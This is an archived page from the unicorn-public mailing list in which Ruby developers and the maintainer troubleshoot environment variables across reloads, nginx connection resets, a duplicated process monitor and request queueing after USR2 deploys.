- e[RACK_HIJACK] = proc { e[RACK_HIJACK_IO] = socket }
- end
- else
- # old Rack, do nothing.
- def hijack_setup(e, _)
- end
+ def hijacked?
+ env.include?(RACK_HIJACK_IO)
+ end
- def hijacked?
- false
- end
+ def hijack_setup(e, socket)
+ e[RACK_HIJACK] = proc { e[RACK_HIJACK_IO] = socket }
end
end
--
EW
^ permalink raw reply related [relevance 16%]
* Re: Unicorn, environment variables, start and reload
@ 2015-04-23 9:29 3% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2015-04-23 9:29 UTC (permalink / raw)
To: Jérémy Lecour; +Cc: unicorn-public
Jérémy Lecour <jeremy.lecour@gmail.com> wrote:
> Hi,
>
> For some time I've been using Unicorn to serve Rails applications.
>
> I've been increasingly relying on environment variables to set various
> password and configuration bits outside of the application's code.
>
> For that I've been using the "dotenv" gem that load a `.env` file into
> the ENV hash. It's great and really useful in development mode, but
> it's not a best practice to use it in production. Here is what Brandon
> Keepers (maintainer of Dotenv) says about this :
>
> > One of the reasons I don't advocate for using dotenv in production is because it loads the environment variables within the ruby process, which makes it very difficult to track which variables were previously set and which were loaded by dotenv. If you set these variables in the environment of your server (/etc/environment, /etc/profile, etc) then unicorn reloading will just work.
Right, and some of these envs might not work unless they're set before
Ruby VM initialization. By the time the process can run Ruby code, it's
too late to setup most malloc behavior in any program or GC tuning for
Ruby.
I think most of the MRI-specific RUBY_* vars and most enviroment
variables used for any malloc tuning will fall into this group.
> So I was wondering what would be the correct way to have environment
> variables available in the Ruby process, up-to-date when the Unicorn
> process is started and reloaded too (with USR2).
>
> And there is also the case of various shell initializations
> (login/non-login, interactive/non-interactive) and supervisors like
> Monit that strip the environment to a minumum before executing the
> start/stop commands.
I set them in an init script (or whatever startup script/system I use).
I might also use "env -i" to clobber any existing environment if
I'm feeling really thorough, but usually I don't.
Most versions of Linux allow checking the environment by inspecting
/proc/$PID/environ (tr '\0' '\n' </proc/$PID/environ to convert
null-terminated to newlines). This may not reflect changes done inside
the process, though, so maybe have a private endpoint dump the contents
of ENV.
> I understand that I can do something like this on start :
>
> $ source ~/my/app/.env && unicorn [...]
>
> But what about the reload situation ?
You can change the ENV (or run any other Ruby) in the config file, but
most might not take effect until a new process is spawned (same with
dotenv). This means you may need USR2 for it to take effect.
I definitely keep ENV changes in the Ruby config file synched with
what's in the init script (and both in version control).
^ permalink raw reply [relevance 3%]
* Re: nginx reverse proxy getting ECONNRESET
2015-03-24 22:54 4% ` Eric Wong
@ 2015-03-24 23:02 0% ` Michael Fischer
0 siblings, 0 replies; 200+ results
From: Michael Fischer @ 2015-03-24 23:02 UTC (permalink / raw)
To: Eric Wong; +Cc: unicorn-public
On Tue, Mar 24, 2015 at 10:54 PM, Eric Wong <e@80x24.org> wrote:
> Michael Fischer <mfischer@zendesk.com> wrote:
>> We have an nginx 1.6.2 proxy in front of a Unicorn 4.8.3 server that
>> is frequently reporting the following error:
>>
>> 2015/03/24 01:46:01 [error] 11217#0: *872231 readv() failed (104:
>> Connection reset by peer) while reading upstream
>>
>> The interesting things are:
>>
>> 1) The upstream is a Unix domain socket (to which Unicorn is bound)
>> 2) Unicorn isn't reporting that a child died in the error log (and I
>> verified their lifetimes with ps(1))
>>
>> Any hints as to what we should look for?
>
> What changed recently with your setup?
We upgraded nginx from 1.4.7 to 1.6.2. The frequency of the error has
increased significantly since. But I hesitate to point the finger at
nginx without more evidence, since its developers are very skilled.
> Which OS/kernel version + vendor version?
uname -3.13.0-40-generic #69~precise1-Ubuntu
Ruby 2.1.1
> Can you setup a test instance on a different nginx port/unicorn socket
> and with a config.ru such as:
>
> ------------------------- 8< ----------------------
> run(lambda do |env|
> $stderr.write("#$$ starting at #{Time.now}\n")
> # be sure to configure your unicorn timeout
> sleep
> # should not return, wait for unicorn to kill
> end)
> ----------------------------------------------------
>
> And hitting nginx with a single test request to reproduce the issue.
I'll take that step later if I have to, but I'm not sure what evidence
that would provide, since we're not having timeout issues -- when this
happens, the response time reported by nginx is usually just a few
seconds (Unicorn timeout is 90 seconds),
Thanks,
--Michael
^ permalink raw reply [relevance 0%]
* Re: nginx reverse proxy getting ECONNRESET
@ 2015-03-24 22:54 4% ` Eric Wong
2015-03-24 23:02 0% ` Michael Fischer
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2015-03-24 22:54 UTC (permalink / raw)
To: Michael Fischer; +Cc: unicorn-public
Michael Fischer <mfischer@zendesk.com> wrote:
> We have an nginx 1.6.2 proxy in front of a Unicorn 4.8.3 server that
> is frequently reporting the following error:
>
> 2015/03/24 01:46:01 [error] 11217#0: *872231 readv() failed (104:
> Connection reset by peer) while reading upstream
>
> The interesting things are:
>
> 1) The upstream is a Unix domain socket (to which Unicorn is bound)
> 2) Unicorn isn't reporting that a child died in the error log (and I
> verified their lifetimes with ps(1))
>
> Any hints as to what we should look for?
What changed recently with your setup?
Which OS/kernel version + vendor version?
Since you've been around a while, I take it this is only a recent issue?
Can you setup a test instance on a different nginx port/unicorn socket
and with a config.ru such as:
------------------------- 8< ----------------------
run(lambda do |env|
$stderr.write("#$$ starting at #{Time.now}\n")
# be sure to configure your unicorn timeout
sleep
# should not return, wait for unicorn to kill
end)
----------------------------------------------------
And hitting nginx with a single test request to reproduce the issue.
And see if it happens on the same/different hosts where you notice the
problem.
^ permalink raw reply [relevance 4%]
* Re: On USR2, new master runs with same PID
@ 2015-03-20 1:55 3% ` Kevin Yank
0 siblings, 0 replies; 200+ results
From: Kevin Yank @ 2015-03-20 1:55 UTC (permalink / raw)
To: Eric Wong; +Cc: unicorn-public
[-- Attachment #1: Type: text/plain, Size: 1165 bytes --]
> On 12 Mar 2015, at 5:45 pm, Eric Wong <e@80x24.org> wrote:
>
> Kevin Yank <kyank@avalanche.com.au> wrote:
>> It’s possible; I’m using eye (https://github.com/kostya/eye) as a
>
> Aha! I forgot about that one, try upgrading to unicorn 4.8.3 which
> fixed this issue last year. ref:
>
> http://bogomips.org/unicorn-public/m/20140504023338.GA583@dcvr.yhbt.net.html
> http://bogomips.org/unicorn-public/m/20140502231558.GA4215@dcvr.yhbt.net.html
Finally solved this definitively. It was user error to do with my setup of the eye process monitor.
I’d accidentally deployed a buggy logrotate configuration for eye, which was causing a second eye daemon to be spawned once a day (when the logs were rotated). Those two eye daemons ran side-by-side, and fought with each other when one was told to restart Unicorn. I’d already anticipated and fixed this problem, but failed to deploy the correct version of the config to our cluster.
All fixed now. Thanks for your pointers; they put me on the right track. :)
--
Kevin Yank
Chief Technology Officer, Avalanche Technology Group
http://avalanche.com.au/
ph: +61 4 2241 0083
^ permalink raw reply [relevance 3%]
* Re: Request Queueing after deploy + USR2 restart
2015-03-05 17:28 0% ` Sarkis Varozian
2015-03-05 17:31 0% ` Bráulio Bhavamitra
@ 2015-03-05 17:32 0% ` Bráulio Bhavamitra
1 sibling, 0 replies; 200+ results
From: Bráulio Bhavamitra @ 2015-03-05 17:32 UTC (permalink / raw)
To: Sarkis Varozian; +Cc: Eric Wong, Michael Fischer, unicorn-public
I also use newrelic and never saw this grey part...
On Thu, Mar 5, 2015 at 2:28 PM, Sarkis Varozian <svarozian@gmail.com> wrote:
> Braulio,
>
> Are you referring to the vertical grey line? That is the deployment event.
> The part that spikes in the first graph is request queue which is a bit
> different on newrelic:
> http://blog.newrelic.com/2013/01/22/understanding-new-relic-queuing/
>
> We are using HAProxy to load balance (round robin) to 4 physical hosts
> running unicorn with 6 workers.
>
> I have not tried to reproduce this on 1 master - I assume this would be
> the same.
>
> I do in fact do the sleep now:
> https://gist.github.com/sarkis/1aa296044b1dfd3695ab#file-unicorn-rb-L37 -
> the deployment results above had the 1 second sleep in there.
>
> On Thu, Mar 5, 2015 at 9:13 AM, Bráulio Bhavamitra <braulio@eita.org.br>
> wrote:
>
>> In the graphs you posted, what is the grey part? It is not described in
>> the legend and it seems the problem is entirely there. What reverse proxy
>> are you using?
>>
>> Can you reproduce this with a single master instance?
>>
>> Could you try this sleep:
>> https://gist.github.com/brauliobo/11298486#file-unicorn-conf-rb-L91
>>
>>
>> On Thu, Mar 5, 2015 at 2:07 PM, Sarkis Varozian <svarozian@gmail.com>
>> wrote:
>>
>>> Hey All,
>>>
>>> So I changed up my unicorn.rb a bit from my original post:
>>> https://gist.github.com/sarkis/1aa296044b1dfd3695ab
>>>
>>> I'm also still sending the USR2 signals on deploy staggered with 30
>>> second delay via capistrano:
>>>
>>> on roles(:web), in: :sequence, wait: 30
>>>
>>> As you can see I am now doing a warup via rack MockRequest (I hoped this
>>> would warmup the master). However, this is what a deploy looks like on
>>> newrelic:
>>>
>>>
>>> https://www.dropbox.com/s/beh7nc8npdfijqp/Screenshot%202015-03-05%2009.05.15.png?dl=0
>>>
>>>
>>> https://www.dropbox.com/s/w08gpvp7mpik3vs/Screenshot%202015-03-05%2009.06.51.png?dl=0
>>>
>>> I'm running out of ideas to get rid of thse latency spikes. Would you
>>> guys recommend I try anything else at this point?
>>>
>>>
>>>
>>> On Wed, Mar 4, 2015 at 12:40 PM, Sarkis Varozian <svarozian@gmail.com>
>>> wrote:
>>>
>>>> Eric,
>>>>
>>>> Thanks for the quick reply.
>>>>
>>>> We are on Ruby 2.1.5p273 and unicorn 4.8.3. I believe our problem is
>>>> the lazy loading - at least thats what all signs point to. I am going to
>>>> try and mock request some url endpoints. Currently, I can only think of
>>>> '/', as most other parts of the app require a session and auth. I'll report
>>>> back with results.
>>>>
>>>>
>>>>
>>>> On Wed, Mar 4, 2015 at 12:35 PM, Eric Wong <e@80x24.org> wrote:
>>>>
>>>>> Sarkis Varozian <svarozian@gmail.com> wrote:
>>>>> > On Wed, Mar 4, 2015 at 12:17 PM, Michael Fischer <
>>>>> mfischer@zendesk.com>
>>>>> > wrote:
>>>>> >
>>>>> > > I'm not exactly sure how preload_app works, but I suspect your app
>>>>> is
>>>>> > > lazy-loading a number of Ruby libraries while handling the first
>>>>> few
>>>>> > > requests that weren't automatically loaded during the preload
>>>>> process.
>>>>> > >
>>>>> > > Eric, your thoughts?
>>>>>
>>>>> (top-posting corrected)
>>>>>
>>>>> Yeah, preload_app won't help startup speed if much of the app is
>>>>> autoloaded.
>>>>>
>>>>> Sarkis: which Ruby version are you running? IIRC, 1.9.2 had terrible
>>>>> startup performance compared to 1.9.3 and later in case you're stuck on
>>>>> 1.9.2
>>>>>
>>>>> > That does make sense - I was looking at another suggestion from a
>>>>> user here
>>>>> > (Braulio) of running a "warmup" using rack MockRequest:
>>>>> > https://gist.github.com/brauliobo/11298486#file-unicorn-conf-rb-L77
>>>>> >
>>>>> > The only issue I am having with the above solution is it is
>>>>> happening in
>>>>> > the before_fork block - shouldn't I warmup the connection in
>>>>> after_fork?
>>>>>
>>>>> If preload_app is true, you can warmup in before_fork; otherwise it
>>>>> needs to be after_fork.
>>>>>
>>>>> > If
>>>>> > I follow the above gist properly it warms up the server with the old
>>>>> > activerecord base connection and then its turned off, then turned
>>>>> back on
>>>>> > in after_fork. I think I am not understanding the sequence of events
>>>>> > there...
>>>>>
>>>>> With preload_app and warmup, you need to ensure any stream connections
>>>>> (DB, memcached, redis, etc..) do not get shared between processes, so
>>>>> it's standard practice to disconnect in the parent and reconnect in the
>>>>> child.
>>>>>
>>>>> > If this is the case, I should warmup and also check/kill the old
>>>>> > master in the after_fork block after the new db, redis, neo4j
>>>>> connections
>>>>> > are all created. Thoughts?
>>>>>
>>>>> I've been leaving killing the master outside of the unicorn hooks
>>>>> and doing it as a separate step; seemed too fragile to do it in
>>>>> hooks from my perspective.
>>>>>
>>>>
>>>>
>>>>
>>>> --
>>>> *Sarkis Varozian*
>>>> svarozian@gmail.com
>>>>
>>>
>>>
>>>
>>> --
>>> *Sarkis Varozian*
>>> svarozian@gmail.com
>>>
>>
>>
>>
>> --
>> "Lute pela sua ideologia. Seja um com sua ideologia. Viva pela sua
>> ideologia. Morra por sua ideologia" P.R. Sarkar
>>
>> EITA - Educação, Informação e Tecnologias para Autogestão
>> http://cirandas.net/brauliobo
>> http://eita.org.br
>>
>> "Paramapurusha é meu pai e Parama Prakriti é minha mãe. O universo é meu
>> lar e todos nós somos cidadãos deste cosmo. Este universo é a imaginação da
>> Mente Macrocósmica, e todas as entidades estão sendo criadas, preservadas e
>> destruídas nas fases de extroversão e introversão do fluxo imaginativo
>> cósmico. No âmbito pessoal, quando uma pessoa imagina algo em sua mente,
>> naquele momento, essa pessoa é a única proprietária daquilo que ela
>> imagina, e ninguém mais. Quando um ser humano criado mentalmente caminha
>> por um milharal também imaginado, a pessoa imaginada não é a propriedade
>> desse milharal, pois ele pertence ao indivíduo que o está imaginando. Este
>> universo foi criado na imaginação de Brahma, a Entidade Suprema, por isso
>> a propriedade deste universo é de Brahma, e não dos microcosmos que também
>> foram criados pela imaginação de Brahma. Nenhuma propriedade deste mundo,
>> mutável ou imutável, pertence a um indivíduo em particular; tudo é o
>> patrimônio comum de todos."
>> Restante do texto em
>> http://cirandas.net/brauliobo/blog/a-problematica-de-hoje-em-dia
>>
>
>
>
> --
> *Sarkis Varozian*
> svarozian@gmail.com
>
--
"Lute pela sua ideologia. Seja um com sua ideologia. Viva pela sua
ideologia. Morra por sua ideologia" P.R. Sarkar
EITA - Educação, Informação e Tecnologias para Autogestão
http://cirandas.net/brauliobo
http://eita.org.br
"Paramapurusha é meu pai e Parama Prakriti é minha mãe. O universo é meu
lar e todos nós somos cidadãos deste cosmo. Este universo é a imaginação da
Mente Macrocósmica, e todas as entidades estão sendo criadas, preservadas e
destruídas nas fases de extroversão e introversão do fluxo imaginativo
cósmico. No âmbito pessoal, quando uma pessoa imagina algo em sua mente,
naquele momento, essa pessoa é a única proprietária daquilo que ela
imagina, e ninguém mais. Quando um ser humano criado mentalmente caminha
por um milharal também imaginado, a pessoa imaginada não é a propriedade
desse milharal, pois ele pertence ao indivíduo que o está imaginando. Este
universo foi criado na imaginação de Brahma, a Entidade Suprema, por isso
a propriedade deste universo é de Brahma, e não dos microcosmos que também
foram criados pela imaginação de Brahma. Nenhuma propriedade deste mundo,
mutável ou imutável, pertence a um indivíduo em particular; tudo é o
patrimônio comum de todos."
Restante do texto em
http://cirandas.net/brauliobo/blog/a-problematica-de-hoje-em-dia
^ permalink raw reply [relevance 0%]
* Re: Request Queueing after deploy + USR2 restart
2015-03-05 17:28 0% ` Sarkis Varozian
@ 2015-03-05 17:31 0% ` Bráulio Bhavamitra
2015-03-05 17:32 0% ` Bráulio Bhavamitra
1 sibling, 0 replies; 200+ results
From: Bráulio Bhavamitra @ 2015-03-05 17:31 UTC (permalink / raw)
To: Sarkis Varozian; +Cc: Eric Wong, Michael Fischer, unicorn-public
I would try to reproduce this locally with a production env and `ab -n 200
-c 2 http://localhost:3000/`
On Thu, Mar 5, 2015 at 2:28 PM, Sarkis Varozian <svarozian@gmail.com> wrote:
> Braulio,
>
> Are you referring to the vertical grey line? That is the deployment event.
> The part that spikes in the first graph is request queue which is a bit
> different on newrelic:
> http://blog.newrelic.com/2013/01/22/understanding-new-relic-queuing/
>
> We are using HAProxy to load balance (round robin) to 4 physical hosts
> running unicorn with 6 workers.
>
> I have not tried to reproduce this on 1 master - I assume this would be
> the same.
>
> I do in fact do the sleep now:
> https://gist.github.com/sarkis/1aa296044b1dfd3695ab#file-unicorn-rb-L37 -
> the deployment results above had the 1 second sleep in there.
>
> On Thu, Mar 5, 2015 at 9:13 AM, Bráulio Bhavamitra <braulio@eita.org.br>
> wrote:
>
>> In the graphs you posted, what is the grey part? It is not described in
>> the legend and it seems the problem is entirely there. What reverse proxy
>> are you using?
>>
>> Can you reproduce this with a single master instance?
>>
>> Could you try this sleep:
>> https://gist.github.com/brauliobo/11298486#file-unicorn-conf-rb-L91
>>
>>
>> On Thu, Mar 5, 2015 at 2:07 PM, Sarkis Varozian <svarozian@gmail.com>
>> wrote:
>>
>>> Hey All,
>>>
>>> So I changed up my unicorn.rb a bit from my original post:
>>> https://gist.github.com/sarkis/1aa296044b1dfd3695ab
>>>
>>> I'm also still sending the USR2 signals on deploy staggered with 30
>>> second delay via capistrano:
>>>
>>> on roles(:web), in: :sequence, wait: 30
>>>
>>> As you can see I am now doing a warup via rack MockRequest (I hoped this
>>> would warmup the master). However, this is what a deploy looks like on
>>> newrelic:
>>>
>>>
>>> https://www.dropbox.com/s/beh7nc8npdfijqp/Screenshot%202015-03-05%2009.05.15.png?dl=0
>>>
>>>
>>> https://www.dropbox.com/s/w08gpvp7mpik3vs/Screenshot%202015-03-05%2009.06.51.png?dl=0
>>>
>>> I'm running out of ideas to get rid of thse latency spikes. Would you
>>> guys recommend I try anything else at this point?
>>>
>>>
>>>
>>> On Wed, Mar 4, 2015 at 12:40 PM, Sarkis Varozian <svarozian@gmail.com>
>>> wrote:
>>>
>>>> Eric,
>>>>
>>>> Thanks for the quick reply.
>>>>
>>>> We are on Ruby 2.1.5p273 and unicorn 4.8.3. I believe our problem is
>>>> the lazy loading - at least thats what all signs point to. I am going to
>>>> try and mock request some url endpoints. Currently, I can only think of
>>>> '/', as most other parts of the app require a session and auth. I'll report
>>>> back with results.
>>>>
>>>>
>>>>
>>>> On Wed, Mar 4, 2015 at 12:35 PM, Eric Wong <e@80x24.org> wrote:
>>>>
>>>>> Sarkis Varozian <svarozian@gmail.com> wrote:
>>>>> > On Wed, Mar 4, 2015 at 12:17 PM, Michael Fischer <
>>>>> mfischer@zendesk.com>
>>>>> > wrote:
>>>>> >
>>>>> > > I'm not exactly sure how preload_app works, but I suspect your app
>>>>> is
>>>>> > > lazy-loading a number of Ruby libraries while handling the first
>>>>> few
>>>>> > > requests that weren't automatically loaded during the preload
>>>>> process.
>>>>> > >
>>>>> > > Eric, your thoughts?
>>>>>
>>>>> (top-posting corrected)
>>>>>
>>>>> Yeah, preload_app won't help startup speed if much of the app is
>>>>> autoloaded.
>>>>>
>>>>> Sarkis: which Ruby version are you running? IIRC, 1.9.2 had terrible
>>>>> startup performance compared to 1.9.3 and later in case you're stuck on
>>>>> 1.9.2
>>>>>
>>>>> > That does make sense - I was looking at another suggestion from a
>>>>> user here
>>>>> > (Braulio) of running a "warmup" using rack MockRequest:
>>>>> > https://gist.github.com/brauliobo/11298486#file-unicorn-conf-rb-L77
>>>>> >
>>>>> > The only issue I am having with the above solution is it is
>>>>> happening in
>>>>> > the before_fork block - shouldn't I warmup the connection in
>>>>> after_fork?
>>>>>
>>>>> If preload_app is true, you can warmup in before_fork; otherwise it
>>>>> needs to be after_fork.
>>>>>
>>>>> > If
>>>>> > I follow the above gist properly it warms up the server with the old
>>>>> > activerecord base connection and then its turned off, then turned
>>>>> back on
>>>>> > in after_fork. I think I am not understanding the sequence of events
>>>>> > there...
>>>>>
>>>>> With preload_app and warmup, you need to ensure any stream connections
>>>>> (DB, memcached, redis, etc..) do not get shared between processes, so
>>>>> it's standard practice to disconnect in the parent and reconnect in the
>>>>> child.
>>>>>
>>>>> > If this is the case, I should warmup and also check/kill the old
>>>>> > master in the after_fork block after the new db, redis, neo4j
>>>>> connections
>>>>> > are all created. Thoughts?
>>>>>
>>>>> I've been leaving killing the master outside of the unicorn hooks
>>>>> and doing it as a separate step; seemed too fragile to do it in
>>>>> hooks from my perspective.
>>>>>
>>>>
>>>>
>>>>
>>>> --
>>>> *Sarkis Varozian*
>>>> svarozian@gmail.com
>>>>
>>>
>>>
>>>
>>> --
>>> *Sarkis Varozian*
>>> svarozian@gmail.com
>>>
>>
>>
>>
>> --
>> "Lute pela sua ideologia. Seja um com sua ideologia. Viva pela sua
>> ideologia. Morra por sua ideologia" P.R. Sarkar
>>
>> EITA - Educação, Informação e Tecnologias para Autogestão
>> http://cirandas.net/brauliobo
>> http://eita.org.br
>>
>> "Paramapurusha é meu pai e Parama Prakriti é minha mãe. O universo é meu
>> lar e todos nós somos cidadãos deste cosmo. Este universo é a imaginação da
>> Mente Macrocósmica, e todas as entidades estão sendo criadas, preservadas e
>> destruídas nas fases de extroversão e introversão do fluxo imaginativo
>> cósmico. No âmbito pessoal, quando uma pessoa imagina algo em sua mente,
>> naquele momento, essa pessoa é a única proprietária daquilo que ela
>> imagina, e ninguém mais. Quando um ser humano criado mentalmente caminha
>> por um milharal também imaginado, a pessoa imaginada não é a propriedade
>> desse milharal, pois ele pertence ao indivíduo que o está imaginando. Este
>> universo foi criado na imaginação de Brahma, a Entidade Suprema, por isso
>> a propriedade deste universo é de Brahma, e não dos microcosmos que também
>> foram criados pela imaginação de Brahma. Nenhuma propriedade deste mundo,
>> mutável ou imutável, pertence a um indivíduo em particular; tudo é o
>> patrimônio comum de todos."
>> Restante do texto em
>> http://cirandas.net/brauliobo/blog/a-problematica-de-hoje-em-dia
>>
>
>
>
> --
> *Sarkis Varozian*
> svarozian@gmail.com
>
--
"Lute pela sua ideologia. Seja um com sua ideologia. Viva pela sua
ideologia. Morra por sua ideologia" P.R. Sarkar
EITA - Educação, Informação e Tecnologias para Autogestão
http://cirandas.net/brauliobo
http://eita.org.br
"Paramapurusha é meu pai e Parama Prakriti é minha mãe. O universo é meu
lar e todos nós somos cidadãos deste cosmo. Este universo é a imaginação da
Mente Macrocósmica, e todas as entidades estão sendo criadas, preservadas e
destruídas nas fases de extroversão e introversão do fluxo imaginativo
cósmico. No âmbito pessoal, quando uma pessoa imagina algo em sua mente,
naquele momento, essa pessoa é a única proprietária daquilo que ela
imagina, e ninguém mais. Quando um ser humano criado mentalmente caminha
por um milharal também imaginado, a pessoa imaginada não é a propriedade
desse milharal, pois ele pertence ao indivíduo que o está imaginando. Este
universo foi criado na imaginação de Brahma, a Entidade Suprema, por isso
a propriedade deste universo é de Brahma, e não dos microcosmos que também
foram criados pela imaginação de Brahma. Nenhuma propriedade deste mundo,
mutável ou imutável, pertence a um indivíduo em particular; tudo é o
patrimônio comum de todos."
Restante do texto em
http://cirandas.net/brauliobo/blog/a-problematica-de-hoje-em-dia
^ permalink raw reply [relevance 0%]
* Re: Request Queueing after deploy + USR2 restart
2015-03-05 17:13 0% ` Bráulio Bhavamitra
@ 2015-03-05 17:28 0% ` Sarkis Varozian
2015-03-05 17:31 0% ` Bráulio Bhavamitra
2015-03-05 17:32 0% ` Bráulio Bhavamitra
0 siblings, 2 replies; 200+ results
From: Sarkis Varozian @ 2015-03-05 17:28 UTC (permalink / raw)
To: Bráulio Bhavamitra; +Cc: Eric Wong, Michael Fischer, unicorn-public
Braulio,
Are you referring to the vertical grey line? That is the deployment event.
The part that spikes in the first graph is request queue which is a bit
different on newrelic:
http://blog.newrelic.com/2013/01/22/understanding-new-relic-queuing/
We are using HAProxy to load balance (round robin) to 4 physical hosts
running unicorn with 6 workers.
I have not tried to reproduce this on 1 master - I assume this would be the
same.
I do in fact do the sleep now:
https://gist.github.com/sarkis/1aa296044b1dfd3695ab#file-unicorn-rb-L37 -
the deployment results above had the 1 second sleep in there.
On Thu, Mar 5, 2015 at 9:13 AM, Bráulio Bhavamitra <braulio@eita.org.br>
wrote:
> In the graphs you posted, what is the grey part? It is not described in
> the legend and it seems the problem is entirely there. What reverse proxy
> are you using?
>
> Can you reproduce this with a single master instance?
>
> Could you try this sleep:
> https://gist.github.com/brauliobo/11298486#file-unicorn-conf-rb-L91
>
>
> On Thu, Mar 5, 2015 at 2:07 PM, Sarkis Varozian <svarozian@gmail.com>
> wrote:
>
>> Hey All,
>>
>> So I changed up my unicorn.rb a bit from my original post:
>> https://gist.github.com/sarkis/1aa296044b1dfd3695ab
>>
>> I'm also still sending the USR2 signals on deploy staggered with 30
>> second delay via capistrano:
>>
>> on roles(:web), in: :sequence, wait: 30
>>
>> As you can see I am now doing a warup via rack MockRequest (I hoped this
>> would warmup the master). However, this is what a deploy looks like on
>> newrelic:
>>
>>
>> https://www.dropbox.com/s/beh7nc8npdfijqp/Screenshot%202015-03-05%2009.05.15.png?dl=0
>>
>>
>> https://www.dropbox.com/s/w08gpvp7mpik3vs/Screenshot%202015-03-05%2009.06.51.png?dl=0
>>
>> I'm running out of ideas to get rid of thse latency spikes. Would you
>> guys recommend I try anything else at this point?
>>
>>
>>
>> On Wed, Mar 4, 2015 at 12:40 PM, Sarkis Varozian <svarozian@gmail.com>
>> wrote:
>>
>>> Eric,
>>>
>>> Thanks for the quick reply.
>>>
>>> We are on Ruby 2.1.5p273 and unicorn 4.8.3. I believe our problem is the
>>> lazy loading - at least thats what all signs point to. I am going to try
>>> and mock request some url endpoints. Currently, I can only think of '/', as
>>> most other parts of the app require a session and auth. I'll report back
>>> with results.
>>>
>>>
>>>
>>> On Wed, Mar 4, 2015 at 12:35 PM, Eric Wong <e@80x24.org> wrote:
>>>
>>>> Sarkis Varozian <svarozian@gmail.com> wrote:
>>>> > On Wed, Mar 4, 2015 at 12:17 PM, Michael Fischer <
>>>> mfischer@zendesk.com>
>>>> > wrote:
>>>> >
>>>> > > I'm not exactly sure how preload_app works, but I suspect your app
>>>> is
>>>> > > lazy-loading a number of Ruby libraries while handling the first few
>>>> > > requests that weren't automatically loaded during the preload
>>>> process.
>>>> > >
>>>> > > Eric, your thoughts?
>>>>
>>>> (top-posting corrected)
>>>>
>>>> Yeah, preload_app won't help startup speed if much of the app is
>>>> autoloaded.
>>>>
>>>> Sarkis: which Ruby version are you running? IIRC, 1.9.2 had terrible
>>>> startup performance compared to 1.9.3 and later in case you're stuck on
>>>> 1.9.2
>>>>
>>>> > That does make sense - I was looking at another suggestion from a
>>>> user here
>>>> > (Braulio) of running a "warmup" using rack MockRequest:
>>>> > https://gist.github.com/brauliobo/11298486#file-unicorn-conf-rb-L77
>>>> >
>>>> > The only issue I am having with the above solution is it is happening
>>>> in
>>>> > the before_fork block - shouldn't I warmup the connection in
>>>> after_fork?
>>>>
>>>> If preload_app is true, you can warmup in before_fork; otherwise it
>>>> needs to be after_fork.
>>>>
>>>> > If
>>>> > I follow the above gist properly it warms up the server with the old
>>>> > activerecord base connection and then its turned off, then turned
>>>> back on
>>>> > in after_fork. I think I am not understanding the sequence of events
>>>> > there...
>>>>
>>>> With preload_app and warmup, you need to ensure any stream connections
>>>> (DB, memcached, redis, etc..) do not get shared between processes, so
>>>> it's standard practice to disconnect in the parent and reconnect in the
>>>> child.
>>>>
>>>> > If this is the case, I should warmup and also check/kill the old
>>>> > master in the after_fork block after the new db, redis, neo4j
>>>> connections
>>>> > are all created. Thoughts?
>>>>
>>>> I've been leaving killing the master outside of the unicorn hooks
>>>> and doing it as a separate step; seemed too fragile to do it in
>>>> hooks from my perspective.
>>>>
>>>
>>>
>>>
>>> --
>>> *Sarkis Varozian*
>>> svarozian@gmail.com
>>>
>>
>>
>>
>> --
>> *Sarkis Varozian*
>> svarozian@gmail.com
>>
>
>
>
> --
> "Lute pela sua ideologia. Seja um com sua ideologia. Viva pela sua
> ideologia. Morra por sua ideologia" P.R. Sarkar
>
> EITA - Educação, Informação e Tecnologias para Autogestão
> http://cirandas.net/brauliobo
> http://eita.org.br
>
> "Paramapurusha é meu pai e Parama Prakriti é minha mãe. O universo é meu
> lar e todos nós somos cidadãos deste cosmo. Este universo é a imaginação da
> Mente Macrocósmica, e todas as entidades estão sendo criadas, preservadas e
> destruídas nas fases de extroversão e introversão do fluxo imaginativo
> cósmico. No âmbito pessoal, quando uma pessoa imagina algo em sua mente,
> naquele momento, essa pessoa é a única proprietária daquilo que ela
> imagina, e ninguém mais. Quando um ser humano criado mentalmente caminha
> por um milharal também imaginado, a pessoa imaginada não é a propriedade
> desse milharal, pois ele pertence ao indivíduo que o está imaginando. Este
> universo foi criado na imaginação de Brahma, a Entidade Suprema, por isso
> a propriedade deste universo é de Brahma, e não dos microcosmos que também
> foram criados pela imaginação de Brahma. Nenhuma propriedade deste mundo,
> mutável ou imutável, pertence a um indivíduo em particular; tudo é o
> patrimônio comum de todos."
> Restante do texto em
> http://cirandas.net/brauliobo/blog/a-problematica-de-hoje-em-dia
>
--
*Sarkis Varozian*
svarozian@gmail.com
^ permalink raw reply [relevance 0%]
* Re: Request Queueing after deploy + USR2 restart
2015-03-05 17:07 0% ` Sarkis Varozian
@ 2015-03-05 17:13 0% ` Bráulio Bhavamitra
2015-03-05 17:28 0% ` Sarkis Varozian
0 siblings, 1 reply; 200+ results
From: Bráulio Bhavamitra @ 2015-03-05 17:13 UTC (permalink / raw)
To: Sarkis Varozian; +Cc: Eric Wong, Michael Fischer, unicorn-public
In the graphs you posted, what is the grey part? It is not described in the
legend and it seems the problem is entirely there. What reverse proxy are
you using?
Can you reproduce this with a single master instance?
Could you try this sleep:
https://gist.github.com/brauliobo/11298486#file-unicorn-conf-rb-L91
On Thu, Mar 5, 2015 at 2:07 PM, Sarkis Varozian <svarozian@gmail.com> wrote:
> Hey All,
>
> So I changed up my unicorn.rb a bit from my original post:
> https://gist.github.com/sarkis/1aa296044b1dfd3695ab
>
> I'm also still sending the USR2 signals on deploy staggered with 30 second
> delay via capistrano:
>
> on roles(:web), in: :sequence, wait: 30
>
> As you can see I am now doing a warup via rack MockRequest (I hoped this
> would warmup the master). However, this is what a deploy looks like on
> newrelic:
>
>
> https://www.dropbox.com/s/beh7nc8npdfijqp/Screenshot%202015-03-05%2009.05.15.png?dl=0
>
>
> https://www.dropbox.com/s/w08gpvp7mpik3vs/Screenshot%202015-03-05%2009.06.51.png?dl=0
>
> I'm running out of ideas to get rid of thse latency spikes. Would you guys
> recommend I try anything else at this point?
>
>
>
> On Wed, Mar 4, 2015 at 12:40 PM, Sarkis Varozian <svarozian@gmail.com>
> wrote:
>
>> Eric,
>>
>> Thanks for the quick reply.
>>
>> We are on Ruby 2.1.5p273 and unicorn 4.8.3. I believe our problem is the
>> lazy loading - at least thats what all signs point to. I am going to try
>> and mock request some url endpoints. Currently, I can only think of '/', as
>> most other parts of the app require a session and auth. I'll report back
>> with results.
>>
>>
>>
